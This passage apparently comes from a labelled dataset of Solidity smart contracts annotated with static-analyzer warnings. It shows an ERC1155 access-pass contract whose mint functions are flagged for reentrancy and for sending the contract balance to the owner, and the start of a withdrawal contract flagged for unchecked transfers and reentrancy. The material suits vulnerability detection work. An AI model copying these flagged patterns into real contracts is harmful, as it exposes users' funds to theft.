0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary Arrays {\n using SlotDerivation for bytes32;\n\n using StorageSlot for bytes32;\n\n function sort(\n uint256[] memory array,\n function(uint256, uint256) pure returns (bool) comp\n ) internal pure returns (uint256[] memory) {\n _quickSort(_begin(array), _end(array), comp);\n\n return array;\n }\n\n function sort(\n uint256[] memory array\n ) internal pure returns (uint256[] memory) {\n sort(array, Comparators.lt);\n\n return array;\n }\n\n function sort(\n address[] memory array,\n function(address, address) pure returns (bool) comp\n ) internal pure returns (address[] memory) {\n sort(_castToUint256Array(array), _castToUint256Comp(comp));\n\n return array;\n }\n\n function sort(\n address[] memory array\n ) internal pure returns (address[] memory) {\n sort(_castToUint256Array(array), Comparators.lt);\n\n return array;\n }\n\n function sort(\n bytes32[] memory array,\n function(bytes32, bytes32) pure returns (bool) comp\n ) internal pure returns (bytes32[] memory) {\n sort(_castToUint256Array(array), _castToUint256Comp(comp));\n\n return array;\n }\n\n function sort(\n bytes32[] memory array\n ) internal pure returns (bytes32[] memory) {\n sort(_castToUint256Array(array), Comparators.lt);\n\n return array;\n }\n\n function _quickSort(\n uint256 begin,\n uint256 end,\n function(uint256, uint256) pure returns (bool) comp\n ) private pure {\n unchecked {\n if (end - begin < 0x40) return;\n\n uint256 pivot = _mload(begin);\n\n uint256 pos = begin;\n\n for (uint256 it = begin + 0x20; it < end; it += 0x20) {\n if (comp(_mload(it), pivot)) {\n pos += 0x20;\n\n _swap(pos, it);\n }\n }\n\n _swap(begin, pos);\n\n _quickSort(begin, pos, comp);\n\n _quickSort(pos + 0x20, end, comp);\n }\n }\n\n function _begin(uint256[] memory array) private pure returns (uint256 ptr) {\n assembly (\"memory-safe\") {\n ptr := add(array, 0x20)\n }\n }\n\n function _end(uint256[] memory array) private pure returns (uint256 ptr) {\n unchecked {\n return _begin(array) + array.length * 0x20;\n }\n }\n\n function _mload(uint256 ptr) private pure returns (uint256 value) {\n assembly {\n value := mload(ptr)\n }\n }\n\n function _swap(uint256 ptr1, uint256 ptr2) private pure {\n assembly {\n let value1 := mload(ptr1)\n\n let value2 := mload(ptr2)\n\n mstore(ptr1, value2)\n\n mstore(ptr2, value1)\n }\n }\n\n function _castToUint256Array(\n address[] memory input\n ) private pure returns (uint256[] memory output) {\n assembly {\n output := input\n }\n }\n\n function _castToUint256Array(\n bytes32[] memory input\n ) private pure returns (uint256[] memory output) {\n assembly {\n output := input\n }\n }\n\n function _castToUint256Comp(\n function(address, address) pure returns (bool) input\n )\n private\n pure\n returns (function(uint256, uint256) pure returns (bool) output)\n {\n assembly {\n output := input\n }\n }\n\n function _castToUint256Comp(\n function(bytes32, bytes32) pure returns (bool) input\n )\n private\n pure\n returns (function(uint256, uint256) pure returns (bool) output)\n {\n assembly {\n output := input\n }\n }\n\n function findUpperBound(\n uint256[] storage array,\n uint256 element\n ) internal view returns (uint256) {\n uint256 low = 0;\n\n uint256 high = array.length;\n\n if (high == 0) {\n return 0;\n }\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (unsafeAccess(array, mid).value > element) {\n high = mid;\n } else {\n low = mid + 1;\n }\n }\n\n if (low > 0 && unsafeAccess(array, low - 1).value == element) {\n return low - 1;\n } else {\n return low;\n }\n }\n\n function lowerBound(\n uint256[] storage array,\n uint256 element\n ) internal view returns (uint256) {\n uint256 low = 0;\n\n uint256 high = array.length;\n\n if (high == 0) {\n return 0;\n }\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (unsafeAccess(array, mid).value < element) {\n unchecked {\n low = mid + 1;\n }\n } else {\n high = mid;\n }\n }\n\n return low;\n }\n\n function upperBound(\n uint256[] storage array,\n uint256 element\n ) internal view returns (uint256) {\n uint256 low = 0;\n\n uint256 high = array.length;\n\n if (high == 0) {\n return 0;\n }\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (unsafeAccess(array, mid).value > element) {\n high = mid;\n } else {\n unchecked {\n low = mid + 1;\n }\n }\n }\n\n return low;\n }\n\n function lowerBoundMemory(\n uint256[] memory array,\n uint256 element\n ) internal pure returns (uint256) {\n uint256 low = 0;\n\n uint256 high = array.length;\n\n if (high == 0) {\n return 0;\n }\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (unsafeMemoryAccess(array, mid) < element) {\n unchecked {\n low = mid + 1;\n }\n } else {\n high = mid;\n }\n }\n\n return low;\n }\n\n function upperBoundMemory(\n uint256[] memory array,\n uint256 element\n ) internal pure returns (uint256) {\n uint256 low = 0;\n\n uint256 high = array.length;\n\n if (high == 0) {\n return 0;\n }\n\n while (low < high) {\n uint256 mid = Math.average(low, high);\n\n if (unsafeMemoryAccess(array, mid) > element) {\n high = mid;\n } else {\n unchecked {\n low = mid + 1;\n }\n }\n }\n\n return low;\n }\n\n function unsafeAccess(\n address[] storage arr,\n uint256 pos\n ) internal pure returns (StorageSlot.AddressSlot storage) {\n bytes32 slot;\n\n assembly (\"memory-safe\") {\n slot := arr.slot\n }\n\n return slot.deriveArray().offset(pos).getAddressSlot();\n }\n\n function unsafeAccess(\n bytes32[] storage arr,\n uint256 pos\n ) internal pure returns (StorageSlot.Bytes32Slot storage) {\n bytes32 slot;\n\n assembly (\"memory-safe\") {\n slot := arr.slot\n }\n\n return slot.deriveArray().offset(pos).getBytes32Slot();\n }\n\n function unsafeAccess(\n uint256[] storage arr,\n uint256 pos\n ) internal pure returns (StorageSlot.Uint256Slot storage) {\n bytes32 slot;\n\n assembly (\"memory-safe\") {\n slot := arr.slot\n }\n\n return slot.deriveArray().offset(pos).getUint256Slot();\n }\n\n function unsafeMemoryAccess(\n address[] memory arr,\n uint256 pos\n ) internal pure returns (address res) {\n assembly {\n res := mload(add(add(arr, 0x20), mul(pos, 0x20)))\n }\n }\n\n function unsafeMemoryAccess(\n bytes32[] memory arr,\n uint256 pos\n ) internal pure returns (bytes32 res) {\n assembly {\n res := mload(add(add(arr, 0x20), mul(pos, 0x20)))\n }\n }\n\n function unsafeMemoryAccess(\n uint256[] memory arr,\n uint256 pos\n ) internal pure returns (uint256 res) {\n assembly {\n res := mload(add(add(arr, 0x20), mul(pos, 0x20)))\n }\n }\n\n function unsafeSetLength(address[] storage array, uint256 len) internal {\n assembly (\"memory-safe\") {\n sstore(array.slot, len)\n }\n }\n\n function unsafeSetLength(bytes32[] storage array, uint256 len) internal {\n assembly (\"memory-safe\") {\n sstore(array.slot, len)\n }\n }\n\n function unsafeSetLength(uint256[] storage array, uint256 len) internal {\n assembly (\"memory-safe\") {\n sstore(array.slot, len)\n }\n }\n}\n\nabstract contract ERC1155 is\n Context,\n ERC165,\n IERC1155,\n IERC1155MetadataURI,\n IERC1155Errors\n{\n using Arrays for uint256[];\n\n using Arrays for address[];\n\n mapping(uint256 id => mapping(address account => uint256))\n private _balances;\n\n mapping(address account => mapping(address operator => bool))\n private _operatorApprovals;\n\n string private _uri;\n\n constructor(string memory uri_) {\n _setURI(uri_);\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC1155).interfaceId ||\n interfaceId == type(IERC1155MetadataURI).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function uri(uint256) public view virtual returns (string memory) {\n return _uri;\n }\n\n function balanceOf(\n address account,\n uint256 id\n ) public view virtual returns (uint256) {\n return _balances[id][account];\n }\n\n function balanceOfBatch(\n address[] memory accounts,\n uint256[] memory ids\n ) public view virtual returns (uint256[] memory) {\n if (accounts.length != ids.length) {\n revert ERC1155InvalidArrayLength(ids.length, accounts.length);\n }\n\n uint256[] memory batchBalances = new uint256[](accounts.length);\n\n for (uint256 i = 0; i < accounts.length; ++i) {\n batchBalances[i] = balanceOf(\n accounts.unsafeMemoryAccess(i),\n ids.unsafeMemoryAccess(i)\n );\n }\n\n return batchBalances;\n }\n\n function setApprovalForAll(address operator, bool approved) public virtual {\n _setApprovalForAll(_msgSender(), operator, approved);\n }\n\n function isApprovedForAll(\n address account,\n address operator\n ) public view virtual returns (bool) {\n return _operatorApprovals[account][operator];\n }\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 value,\n bytes memory data\n ) public virtual {\n address sender = _msgSender();\n\n if (from != sender && !isApprovedForAll(from, sender)) {\n revert ERC1155MissingApprovalForAll(sender, from);\n }\n\n _safeTransferFrom(from, to, id, value, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory values,\n bytes memory data\n ) public virtual {\n address sender = _msgSender();\n\n if (from != sender && !isApprovedForAll(from, sender)) {\n revert ERC1155MissingApprovalForAll(sender, from);\n }\n\n _safeBatchTransferFrom(from, to, ids, values, data);\n }\n\n function _update(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory values\n ) internal virtual {\n if (ids.length != values.length) {\n revert ERC1155InvalidArrayLength(ids.length, values.length);\n }\n\n address operator = _msgSender();\n\n for (uint256 i = 0; i < ids.length; ++i) {\n uint256 id = ids.unsafeMemoryAccess(i);\n\n uint256 value = values.unsafeMemoryAccess(i);\n\n if (from != address(0)) {\n uint256 fromBalance = _balances[id][from];\n\n if (fromBalance < value) {\n revert ERC1155InsufficientBalance(\n from,\n fromBalance,\n value,\n id\n );\n }\n\n unchecked {\n _balances[id][from] = fromBalance - value;\n }\n }\n\n if (to != address(0)) {\n _balances[id][to] += value;\n }\n }\n\n if (ids.length == 1) {\n uint256 id = ids.unsafeMemoryAccess(0);\n\n uint256 value = values.unsafeMemoryAccess(0);\n\n emit TransferSingle(operator, from, to, id, value);\n } else {\n emit TransferBatch(operator, from, to, ids, values);\n }\n }\n\n function _updateWithAcceptanceCheck(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory values,\n bytes memory data\n ) internal virtual {\n _update(from, to, ids, values);\n\n if (to != address(0)) {\n address operator = _msgSender();\n\n if (ids.length == 1) {\n uint256 id = ids.unsafeMemoryAccess(0);\n\n uint256 value = values.unsafeMemoryAccess(0);\n\n\t\t\t\t// reentrancy-no-eth | ID: 3f00029\n\t\t\t\t// reentrancy-no-eth | ID: fcf31ef\n\t\t\t\t// reentrancy-no-eth | ID: 6bd1046\n\t\t\t\t// reentrancy-no-eth | ID: e16d927\n ERC1155Utils.checkOnERC1155Received(\n operator,\n from,\n to,\n id,\n value,\n data\n );\n } else {\n\t\t\t\t// reentrancy-no-eth | ID: 3f00029\n\t\t\t\t// reentrancy-no-eth | ID: fcf31ef\n\t\t\t\t// reentrancy-no-eth | ID: 6bd1046\n\t\t\t\t// reentrancy-no-eth | ID: e16d927\n ERC1155Utils.checkOnERC1155BatchReceived(\n operator,\n from,\n to,\n ids,\n values,\n data\n );\n }\n }\n }\n\n function _safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 value,\n bytes memory data\n ) internal {\n if (to == address(0)) {\n revert ERC1155InvalidReceiver(address(0));\n }\n\n if (from == address(0)) {\n revert ERC1155InvalidSender(address(0));\n }\n\n (uint256[] memory ids, uint256[] memory values) = _asSingletonArrays(\n id,\n value\n );\n\n _updateWithAcceptanceCheck(from, to, ids, values, data);\n }\n\n function _safeBatchTransferFrom(\n address from,\n address to,\n uint256[] memory ids,\n uint256[] memory values,\n bytes memory data\n ) internal {\n if (to == address(0)) {\n revert ERC1155InvalidReceiver(address(0));\n }\n\n if (from == address(0)) {\n revert ERC1155InvalidSender(address(0));\n }\n\n _updateWithAcceptanceCheck(from, to, ids, values, data);\n }\n\n function _setURI(string memory newuri) internal virtual {\n _uri = newuri;\n }\n\n function _mint(\n address to,\n uint256 id,\n uint256 value,\n bytes memory data\n ) internal {\n if (to == address(0)) {\n revert ERC1155InvalidReceiver(address(0));\n }\n\n (uint256[] memory ids, uint256[] memory values) = _asSingletonArrays(\n id,\n value\n );\n\n _updateWithAcceptanceCheck(address(0), to, ids, values, data);\n }\n\n function _mintBatch(\n address to,\n uint256[] memory ids,\n uint256[] memory values,\n bytes memory data\n ) internal {\n if (to == address(0)) {\n revert ERC1155InvalidReceiver(address(0));\n }\n\n _updateWithAcceptanceCheck(address(0), to, ids, values, data);\n }\n\n function _burn(address from, uint256 id, uint256 value) internal {\n if (from == address(0)) {\n revert ERC1155InvalidSender(address(0));\n }\n\n (uint256[] memory ids, uint256[] memory values) = _asSingletonArrays(\n id,\n value\n );\n\n _updateWithAcceptanceCheck(from, address(0), ids, values, \"\");\n }\n\n function _burnBatch(\n address from,\n uint256[] memory ids,\n uint256[] memory values\n ) internal {\n if (from == address(0)) {\n revert ERC1155InvalidSender(address(0));\n }\n\n _updateWithAcceptanceCheck(from, address(0), ids, values, \"\");\n }\n\n function _setApprovalForAll(\n address owner,\n address operator,\n bool approved\n ) internal virtual {\n if (operator == address(0)) {\n revert ERC1155InvalidOperator(address(0));\n }\n\n _operatorApprovals[owner][operator] = approved;\n\n emit ApprovalForAll(owner, operator, approved);\n }\n\n function _asSingletonArrays(\n uint256 element1,\n uint256 element2\n ) private pure returns (uint256[] memory array1, uint256[] memory array2) {\n assembly (\"memory-safe\") {\n array1 := mload(0x40)\n\n mstore(array1, 1)\n\n mstore(add(array1, 0x20), element1)\n\n array2 := add(array1, 0x40)\n\n mstore(array2, 1)\n\n mstore(add(array2, 0x20), element2)\n\n mstore(0x40, add(array2, 0x40))\n }\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC2981 is IERC165 {\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) external view returns (address receiver, uint256 royaltyAmount);\n}\n\nabstract contract ERC2981 is IERC2981, ERC165 {\n struct RoyaltyInfo {\n address receiver;\n uint96 royaltyFraction;\n }\n\n RoyaltyInfo private _defaultRoyaltyInfo;\n\n mapping(uint256 tokenId => RoyaltyInfo) private _tokenRoyaltyInfo;\n\n error ERC2981InvalidDefaultRoyalty(uint256 numerator, uint256 denominator);\n\n error ERC2981InvalidDefaultRoyaltyReceiver(address receiver);\n\n error ERC2981InvalidTokenRoyalty(\n uint256 tokenId,\n uint256 numerator,\n uint256 denominator\n );\n\n error ERC2981InvalidTokenRoyaltyReceiver(uint256 tokenId, address receiver);\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(IERC165, ERC165) returns (bool) {\n return\n interfaceId == type(IERC2981).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function royaltyInfo(\n uint256 tokenId,\n uint256 salePrice\n ) public view virtual returns (address receiver, uint256 amount) {\n RoyaltyInfo storage _royaltyInfo = _tokenRoyaltyInfo[tokenId];\n\n address royaltyReceiver = _royaltyInfo.receiver;\n\n uint96 royaltyFraction = _royaltyInfo.royaltyFraction;\n\n if (royaltyReceiver == address(0)) {\n royaltyReceiver = _defaultRoyaltyInfo.receiver;\n\n royaltyFraction = _defaultRoyaltyInfo.royaltyFraction;\n }\n\n uint256 royaltyAmount = (salePrice * royaltyFraction) /\n _feeDenominator();\n\n return (royaltyReceiver, royaltyAmount);\n }\n\n function _feeDenominator() internal pure virtual returns (uint96) {\n return 10000;\n }\n\n function _setDefaultRoyalty(\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n uint256 denominator = _feeDenominator();\n\n if (feeNumerator > denominator) {\n revert ERC2981InvalidDefaultRoyalty(feeNumerator, denominator);\n }\n\n if (receiver == address(0)) {\n revert ERC2981InvalidDefaultRoyaltyReceiver(address(0));\n }\n\n _defaultRoyaltyInfo = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _deleteDefaultRoyalty() internal virtual {\n delete _defaultRoyaltyInfo;\n }\n\n function _setTokenRoyalty(\n uint256 tokenId,\n address receiver,\n uint96 feeNumerator\n ) internal virtual {\n uint256 denominator = _feeDenominator();\n\n if (feeNumerator > denominator) {\n revert ERC2981InvalidTokenRoyalty(\n tokenId,\n feeNumerator,\n denominator\n );\n }\n\n if (receiver == address(0)) {\n revert ERC2981InvalidTokenRoyaltyReceiver(tokenId, address(0));\n }\n\n _tokenRoyaltyInfo[tokenId] = RoyaltyInfo(receiver, feeNumerator);\n }\n\n function _resetTokenRoyalty(uint256 tokenId) internal virtual {\n delete _tokenRoyaltyInfo[tokenId];\n }\n}\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\ncontract MetaDogeUnity_Access_Pass is ERC1155, ERC2981, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: 750ad85): MetaDogeUnity_Access_Pass.totalSupply should be constant \n\t// Recommendation for 750ad85: Add the 'constant' attribute to state variables that never change.\n uint public totalSupply = 600;\n\n\t// WARNING Optimization Issue (constable-states | ID: 99d54cf): MetaDogeUnity_Access_Pass.counter should be constant \n\t// Recommendation for 99d54cf: Add the 'constant' attribute to state variables that never change.\n uint public counter = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26ae950): MetaDogeUnity_Access_Pass.name should be constant \n\t// Recommendation for 26ae950: Add the 'constant' attribute to state variables that never change.\n string public name = \"Access Pass\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: c53e039): MetaDogeUnity_Access_Pass.deployer should be immutable \n\t// Recommendation for c53e039: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public deployer;\n\n mapping(uint256 => uint256) private _tokenSupply;\n\n constructor(uint96 _royaltyFeesInBips) ERC1155(\"\") Ownable(msg.sender) {\n setRoyaltyInfo(owner(), _royaltyFeesInBips);\n\n deployer = msg.sender;\n }\n\n function setURI(string memory newuri) public onlyOwner {\n _setURI(newuri);\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: fcf31ef): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for fcf31ef: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 55b4520): MetaDogeUnity_Access_Pass.Bronze(address) sends eth to arbitrary user Dangerous calls (success,None) = owner().call{value address(this).balance}()\n\t// Recommendation for 55b4520: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function Bronze(address account) public payable {\n require(msg.value >= 1000000000000000 wei, \"Insufficient payment\"); // 0.001 ether\n\n require(_tokenSupply[1] < totalSupply, \"Token 1 supply exceeded\");\n\n\t\t// reentrancy-no-eth | ID: fcf31ef\n _mint(account, 1, 1, \"0x\");\n\n\t\t// reentrancy-no-eth | ID: fcf31ef\n _tokenSupply[1]++;\n\n\t\t// arbitrary-send-eth | ID: 55b4520\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 6bd1046): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 6bd1046: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 077aae6): MetaDogeUnity_Access_Pass.Silver(address) sends eth to arbitrary user Dangerous calls (success,None) = owner().call{value address(this).balance}()\n\t// Recommendation for 077aae6: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function Silver(address account) public payable {\n require(msg.value >= 1000000000000000 wei, \"Insufficient payment\"); // 0.001 ether\n\n require(_tokenSupply[2] < totalSupply, \"Token 1 supply exceeded\");\n\n\t\t// reentrancy-no-eth | ID: 6bd1046\n _mint(account, 2, 1, \"0x\");\n\n\t\t// reentrancy-no-eth | ID: 6bd1046\n _tokenSupply[2]++;\n\n\t\t// arbitrary-send-eth | ID: 077aae6\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3f00029): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3f00029: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e54463a): MetaDogeUnity_Access_Pass.Gold(address) sends eth to arbitrary user Dangerous calls (success,None) = owner().call{value address(this).balance}()\n\t// Recommendation for e54463a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function Gold(address account) public payable {\n require(msg.value >= 1000000000000000 wei, \"Insufficient payment\"); // 0.001 ether\n\n require(_tokenSupply[3] < totalSupply, \"Token 1 supply exceeded\");\n\n\t\t// reentrancy-no-eth | ID: 3f00029\n _mint(account, 3, 1, \"0x\");\n\n\t\t// reentrancy-no-eth | ID: 3f00029\n _tokenSupply[3]++;\n\n\t\t// arbitrary-send-eth | ID: e54463a\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: e16d927): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for e16d927: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: f42e18b): MetaDogeUnity_Access_Pass.Platinum(address) sends eth to arbitrary user Dangerous calls (success,None) = owner().call{value address(this).balance}()\n\t// Recommendation for f42e18b: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function Platinum(address account) public payable {\n require(msg.value >= 1000000000000000 wei, \"Insufficient payment\"); // 0.001 ether\n\n require(_tokenSupply[4] < totalSupply, \"Token 1 supply exceeded\");\n\n\t\t// reentrancy-no-eth | ID: e16d927\n _mint(account, 4, 1, \"0x\");\n\n\t\t// reentrancy-no-eth | ID: e16d927\n _tokenSupply[4]++;\n\n\t\t// arbitrary-send-eth | ID: f42e18b\n (bool success, ) = owner().call{value: address(this).balance}(\"\");\n\n require(success, \"Transfer failed.\");\n }\n\n function uri(uint256 tokenId) public pure override returns (string memory) {\n return (\n string(\n abi.encodePacked(\n \"https://ipfs.io/ipfs/QmW4mBpKavwgh4BsGyN19fLfzdpv6ZXLaRrGVKXAMgKzjs/\",\n Strings.toString(tokenId),\n \".json\"\n )\n )\n );\n }\n\n function transfer(address to, uint256 tokenId) public {\n require(balanceOf(msg.sender, tokenId) >= 1, \"Insufficient balance\");\n\n safeTransferFrom(msg.sender, to, tokenId, 1, \"0x\");\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n\n function setRoyaltyInfo(\n address _receiver,\n uint96 _royaltyFeesInBips\n ) public onlyOwner {\n _setDefaultRoyalty(_receiver, _royaltyFeesInBips);\n }\n}\n",
"file_name": "solidity_code_10621.sol",
"size_bytes": 55744,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n}\n\ncontract SlopyWithdrawalContract {\n\t// WARNING Optimization Issue (immutable-states | ID: e9a2136): SlopyWithdrawalContract.owner should be immutable \n\t// Recommendation for e9a2136: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ead1764): SlopyWithdrawalContract.slopyToken should be immutable \n\t// Recommendation for ead1764: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public slopyToken;\n\n address public publicKey;\n\n mapping(uint256 => bool) public processedRequests;\n\n struct PayoutRequest {\n uint256 amount;\n uint256 fee;\n address recipient;\n uint256 uniqId;\n uint64 expires;\n bytes sign;\n }\n\n event WithdrawalSuccess(uint256 indexed uniqId, address indexed recipient);\n\n event PublicKeyUpdated(\n address indexed oldPublicKey,\n address indexed newPublicKey\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dcc15d0): SlopyWithdrawalContract.constructor(address,address)._slopyToken lacks a zerocheck on \t slopyToken = _slopyToken\n\t// Recommendation for dcc15d0: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: f8649dd): SlopyWithdrawalContract.constructor(address,address)._publicKey lacks a zerocheck on \t publicKey = _publicKey\n\t// Recommendation for f8649dd: Check that the address is not zero.\n constructor(address _slopyToken, address _publicKey) {\n owner = msg.sender;\n\n\t\t// missing-zero-check | ID: dcc15d0\n slopyToken = _slopyToken;\n\n\t\t// missing-zero-check | ID: f8649dd\n publicKey = _publicKey;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner, \"Only owner can call this function\");\n\n _;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8ca7842): SlopyWithdrawalContract.withdraw(SlopyWithdrawalContract.PayoutRequest) uses timestamp for comparisons Dangerous comparisons require(bool,string)(block.timestamp < payoutRequest.expires,Expired)\n\t// Recommendation for 8ca7842: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d94abc2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d94abc2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 10d1086): SlopyWithdrawalContract.withdraw(SlopyWithdrawalContract.PayoutRequest) ignores return value by IERC20(slopyToken).transfer(msg.sender,payoutRequest.amount)\n\t// Recommendation for 10d1086: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 68ac9b5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies 